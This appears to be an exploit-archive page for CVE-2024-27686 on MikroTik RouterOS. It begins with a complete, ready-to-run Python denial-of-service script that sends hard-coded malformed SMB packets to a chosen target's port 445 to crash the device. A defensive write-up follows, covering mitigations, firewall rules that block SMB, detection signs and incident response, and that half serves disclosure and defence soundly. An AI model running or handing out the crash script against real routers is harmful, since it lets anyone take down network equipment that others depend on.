RouterOS 6.40.5 - 6.44 and 6.48.1 - 6.49.10 - Denial of Service

Exploit Author: ice-wzl Analysis Author: www.bubbleslearn.ir Category: DoS Language: Python Published Date: 2024-03-28
# Exploit Title: CVE-2024-27686: RouterOS-SMB-DOS
# Google Dork: N/A
# Date: 03/04/2024
# Exploit Author: ice-wzl, Solstice Cyber Solutions
# Vendor Homepage: https://mikrotik.com/
# Software Link: https://mikrotik.com/download/archive
# Version: RouterOS devices ranging from 6.40.5 - 6.44 and 6.48.1 - 6.49.10
# Tested on: RouterOS 6.40.5 - 6.44 and 6.48.1 - 6.49.10
# CVE : CVE-2024-27686
#!/usr/bin/python3 
# Founded by ice-wzl in conjunction with Solstice Cyber Solutions
import argparse
import sys
import socket 
# Define the packets

# the packet that causes crash 6.40.5 - 6.42.3
fuzzed_packet_6 = b'\x00\x00\x00n\xfeSMB@\x00\x00\x00\x00\x00\x00\x00\x03\x00\xf1\x1f\x08\x00\x00\x00\x00\x00\x00\xe1\xbe\x82\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00G\xe5\x07\xf5\x07\xec\x01u\xe4Q]\x9e\xea\xedn\xa9\t\x00\x00\x00H\x00&\x00\\\x00\\\x001\x009\x002\x00.\x001\x006\x008\x00.\x001\x005\x00.\x007\x007\x00\\\x00p\x00u\x00b\x00'


packet_0 = b'\x00\x00\x00\xea\xfeSMB@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00$\x00\x05\x00\x01\x00\x00\x00\x7f\x00\x00\x00\xe8\xe4*\x99\xc9\xeb\xb6E\xa2A\xe9(\xee%\xe5\xdfp\x00\x00\x00\x04\x00\x00\x00\x02\x02\x10\x02\x00\x03\x02\x03\x11\x03\x00\x00\x01\x00&\x00\x00\x00\x00\x00\x01\x00 \x00\x01\x00_\xf7m\xf2h*\x8f\x8ae\x0f8+T=Na8_\x0b@C\x82\xe7\x87\xc3qZ\xd7\xcf0M\x87\x00\x00\x02\x00\n\x00\x00\x00\x00\x00\x04\x00\x02\x00\x01\x00\x04\x00\x03\x00\x00\x00\x00\x00\x00\x00\x08\x00\x08\x00\x00\x00\x00\x00\x03\x00\x02\x00\x01\x00\x00\x00\x05\x00\x1a\x00\x00\x00\x00\x001\x009\x002\x00.\x001\x006\x008\x00.\x001\x005\x00.\x008\x004\x00'
packet_2_fuzzed = b'\x00\x00\x00\xa2\xfeSMB@\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00 \x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x19\x00\x00\x01\x01\x00\x00\x00\x00\x00\x00\x00X\x00J\x00\x00\x00\x00\x00\x00\x00\x00\x00`H\x05\x06+\x06\x01\x05\x05\x02\xa0>0<\xa0\x0e21540373\xed\xba\xad211\x0c\x06\n+\x06\x01\x04\x01\x82294517887446830\x02\x02\n\xa2*\x04(NTLMSSP\x00\x01\x00\x00\x00\x15\x82\x08b\x00\x00\x00\x00(\x00\x00\x00\x00\x00\x00\x00(\x00\x00\x00\x06\x01\x00\x00\x00\x00\x00\x0f'


def open_connection(ip, port):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
        s.connect((ip, port))
        return s
    except ConnectionRefusedError:
        print(f"[!] Connection Refused on: {ip} {port}")
        sys.exit(2)

def send_payload_high(s):
    s.send(packet_0)
    s.send(packet_2_fuzzed)
    s.close()

def send_payload_low(s):
    s.send(fuzzed_packet_6)
    s.close()

def verify_input(user_inp):
    try:
        user_inp = int(user_inp)
        if user_inp > 2 or user_inp < 1:
            return 3
        else:
            return user_inp
    except ValueError:
        return 0

if __name__ == '__main__':

    parser = argparse.ArgumentParser(prog='SMB Crash',
        description='Crashes Mikrotik RouterOS SMB Service 6.40.5 - 6.49.10',
        epilog='Discovered by: ice-wzl')

    parser.add_argument("-t", "--target", action="store", dest="target")
    parser.add_argument("-p", "--port", action="store", dest="port")

    args = parser.parse_args()
    
    if not args.target or not args.port:
        print(f"[+] python3 {sys.argv[0]} --help")
        sys.exit(1)

    print("[+] What version is the target:\n\t[1] 6.40.5 - 6.44\n\t[2] 6.48.1 - 6.49.10\nEnter 1 or 2:")
    version_choice = input("--> ")

    if verify_input(version_choice) == 0:
        print("Please enter a number...")
        sys.exit(3)
    elif verify_input(version_choice) == 3:
        print("Please enter a number between 1 and 2")
        sys.exit(4)

    if verify_input(version_choice) == 1:
        if args.port:
            get_connect = open_connection(args.target, int(args.port))
            send_payload_low(get_connect)
            print(f"[+] Sent DOS to {args.target} on {args.port}")
        else:
            get_connect = open_connection(args.target, 445)
            send_payload_low(get_connect)
            print(f"[+] Sent DOS to {args.target} on 445")  
    
    if verify_input(version_choice) == 2:
        if args.port:
            get_connect = open_connection(args.target, int(args.port))
            send_payload_high(get_connect)
            print(f"[+] Sent DOS to {args.target} on {args.port}")

        else:
            get_connect = open_connection(args.target, 445)
            send_payload_high(get_connect)
            print(f"[+] Sent DOS to {args.target} on 445")


RouterOS CVE-2024-27686 — SMB Denial-of-Service (DoS) Overview and Response Guide

This article explains the CVE-2024-27686 vulnerability affecting certain MikroTik RouterOS 6.x builds (reported in the 6.40.5–6.44 and 6.48.1–6.49.10 ranges). It provides a concise technical summary, risk assessment, defensive mitigations, detection guidance, and an incident-response checklist for network defenders and administrators.

Vulnerability summary

CVE-2024-27686 is a vulnerability in RouterOS's handling of SMB (Server Message Block) traffic that can be triggered by specially crafted SMB packets and results in a denial-of-service condition on affected devices. The outcome reported in public research is a crash or service interruption of the SMB handling component, which can impact device stability or require a reboot.

What is affected

  • Affected: RouterOS builds within the reported ranges (6.40.5–6.44 and 6.48.1–6.49.10, per public disclosures).
  • Impact: Remote Denial of Service against the SMB service on the device; in practice this may affect the router process and could require manual restart or device reboot.
  • CVSS-like severity: DoS vulnerabilities targeting network services are typically high priority for internet-facing devices; prioritize mitigation for devices exposed to untrusted networks (WAN).

High-level technical description (non-actionable)

Public analysis indicates malformed SMB protocol packets targeting the RouterOS SMB parser trigger a crash condition. This is a protocol-parsing bug rather than an authentication bypass. The vulnerability is exploited by sending crafted SMB traffic to the device's SMB endpoint; no privileged credentials are required to attempt the attack. This description intentionally leaves out packet-level details and exploit payloads to avoid enabling malicious use.

Who should care

  • Organizations running MikroTik RouterOS devices that offer SMB services or permit TCP 445/139 reachability from untrusted networks.
  • Network operators who allow SMB traffic through firewalls or VPN endpoints to router management interfaces.
  • Managed service providers and ISPs running large numbers of RouterOS routers.

Immediate mitigations (short-term, safe actions)

Apply these network-level and device-level mitigations immediately while arranging a vendor-supplied patch or update:

  • Block SMB (TCP ports 445 and 139) at network boundaries: drop inbound SMB from the Internet to any router/management interfaces.
  • Restrict access to management interfaces (WAN-facing input chain) so only authorized IPs can reach the router.
  • If SMB services on the router are not required, disable them via the RouterOS WebFig / Winbox UI or the device configuration.
  • Segment management plane traffic (use dedicated management VLANs and access control lists) so SMB or other file-sharing traffic cannot reach routers from untrusted hosts.
  • Monitor for repeated SMB-related crashes or reboots and isolate affected units for remediation.

Practical defensive examples (RouterOS CLI - defensive only)

# Check RouterOS version (use to confirm affected devices)
 /system resource print

# Example: drop SMB (TCP 139 and 445) from the WAN interface
 /ip firewall filter add chain=input in-interface=WAN protocol=tcp dst-port=139,445 action=drop \
   comment="Block SMB from internet to protect against SMB parser DoS"

# Example: print configured services and disable unnecessary ones (review before changing)
 /ip service print
 # If SMB-like service is listed in your device UI, disable it via the GUI or the appropriate /ip service or /ip smb command

Explanation: The first command shows the device version so you can identify devices in the affected ranges. The firewall example adds a rule to drop SMB-sourced traffic from the WAN interface, preventing untrusted hosts from reaching the SMB handling code in RouterOS. The /ip service print command helps you locate exposed services to review and harden; disable only services you are sure are unnecessary and test to avoid operational disruption.

Patching and long-term remediation

  • Patch: Upgrade affected RouterOS instances to a fixed/stable release as soon as MikroTik provides and recommends. If a specific patched version is published in the vendor advisory, schedule updates promptly during a maintenance window.
  • Vendor advisory: Always verify fix details and recommended upgrade paths from MikroTik's official support pages or trusted advisories before applying updates.
  • Change management: Notify stakeholders, schedule upgrades, and perform backups/config exports before updating devices.
  • Validate: After patching, confirm the router’s version and test that intended services are operational and stable.

Detection and indicators of compromise (defensive signs)

  • Service crashes/restarts: unexpected SMB-related service restart messages or router process crashes in system logs.
  • Device reboots or uptimes resetting without scheduled maintenance.
  • Network monitoring alarms correlated with TCP/445 or TCP/139 bursts from external IPs against router management addresses.
  • Increased syslog entries showing malformed SMB requests or input errors (depending on logging verbosity).

Set up alerts for repeated restarts and for traffic volumes targeting SMB ports from untrusted sources. If you see evidence of repeated probing, treat the host as under targeted attack and isolate it for remediation.

Incident response checklist

  • Isolate affected router(s) from untrusted networks (apply restrictive firewall rules or remove WAN routes temporarily).
  • Collect forensic artifacts: system logs, uptime output, firewall logs, and any recent configuration changes.
  • Check for collateral impact on downstream devices and services, and restore business-critical flows where safe and necessary.
  • Apply vendor patches and then monitor stability for a suitable observation window before returning to normal operation.
  • Document the incident, remediation steps, and update operational runbooks to prevent recurrence.

Risk reduction recommendations

  • Minimize attack surface: only expose management and file-sharing services where strictly required.
  • Use network segmentation and allowlists: management interfaces should be limited to a small set of trusted admin IPs or management VPNs.
  • Adopt a vulnerability and patch management process for networking gear with scheduled reviews and emergency patch procedures.
  • Enable and centralize logging: send RouterOS logs to a centralized syslog server and retain them for incident investigation.
  • Deploy network-layer protections: IDS/IPS and rate limiting to help detect and mitigate protocol fuzzing and scanning attempts.

Table — quick reference

Item Details / Action
Vulnerability CVE-2024-27686 — SMB protocol parsing leads to Denial-of-Service on affected RouterOS builds
Affected builds Reported ranges in public disclosures: 6.40.5–6.44 and 6.48.1–6.49.10 (verify against vendor advisory)
Immediate action Block TCP 445/139 at the WAN border; disable SMB on devices if not required; schedule patching
Long-term Apply vendor-supplied patches; harden management plane; implement monitoring and change control

Resources and references

  • MikroTik official site: https://mikrotik.com/ — consult vendor advisories and the RouterOS download/archive pages for patches.
  • CVE database: CVE-2024-27686 — check authoritative national vulnerability databases or vendor advisory pages for published fixes and timelines.
  • Operational guidance: follow your organization’s change-control and patch management processes when applying network equipment updates.

Note: This article focuses on defensive guidance and operational best practices. Avoid using, searching for, or deploying public exploit proof-of-concepts in production networks; instead, use official vendor fixes and validated mitigations to protect infrastructure.